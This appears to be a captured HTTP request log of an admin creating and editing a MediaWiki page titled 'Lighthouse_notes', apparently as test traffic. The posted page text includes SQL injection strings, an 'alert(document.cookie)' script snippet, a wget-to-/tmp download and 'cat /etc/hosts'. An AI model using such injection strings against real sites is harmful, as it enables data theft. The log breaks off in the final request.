{"method": "GET", "target": "/images/e/e3/Pic_python3.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=bzxdy", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/jquery.tablesorter.styles/images/sort_both.svg?0e440", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGNPKGFIkEp6MCBZL", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.diff.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cdiff%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=jtnhc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryui9xf8Ac2sqeBZgh", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nec92de021bd867b1b27bd21302692bdb6af22673+\\\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh--\r\n"}
{"method": "GET", "target": "/wiki/Lighthouse_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision4=created; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.page.gallery.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cnotification%2Cstorage%2CtempUserCreated%2Cuser%2Cutil%2CvisibleTimeout%7Cmediawiki.action.view.postEdit%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.icons-interactions%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1jug0", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2Ctablesorter%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=1ao4b", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Lighthouse_notes", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Lighthouse_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 292", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=4&text=%3D%3D+Install+%3D%3D%0ARun+Lighthouse+and+ls+-la.%0A&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycbYyV4Gp7qudkFAl", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200051\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200051\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n4\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n4\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun Lighthouse and ls -la.\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ Lighthouse\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundarycbYyV4Gp7qudkFAl\r\nContent-Disposition: form-data; 